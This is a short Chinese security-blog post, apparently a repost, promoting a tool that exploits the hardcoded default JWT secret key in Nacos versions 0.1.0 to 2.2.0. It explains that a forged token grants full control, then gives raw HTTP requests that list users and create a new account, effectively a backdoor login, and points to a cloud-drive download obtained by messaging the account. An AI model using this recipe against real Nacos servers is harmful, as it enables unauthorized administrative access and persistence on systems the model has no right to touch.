===================================
0x01 工具介绍
Nacos漏洞版本/conf 默认配置文件 application.properties 中,nacos.core.auth.default.token.secret.key 使用了硬编码,使用该key可构造jwt进行token认证。认证成功后获得accessToken ,使用accessToken 可对Naocs进行任意操作(这不废话么,已经登录了)
影响范围:0.1.0 <= Nacos <= 2.2.0
0x02 安装与使用
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host: xxx
accessToken: xxxxxx
POST /nacos/v1/auth/users HTTP/1.1
Host: xxx
Content-Type: application/x-www-form-urlencoded
accessToken: xxx
Content-Length: 27
username=fuck&password=fuck
0x03 项目链接下载
2、后台回复:工具,获取网盘链接,仅当天有效
0x04 每日送书福利
1、后台回复:送书,获取当日送书抽奖码。
特别标注:
本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论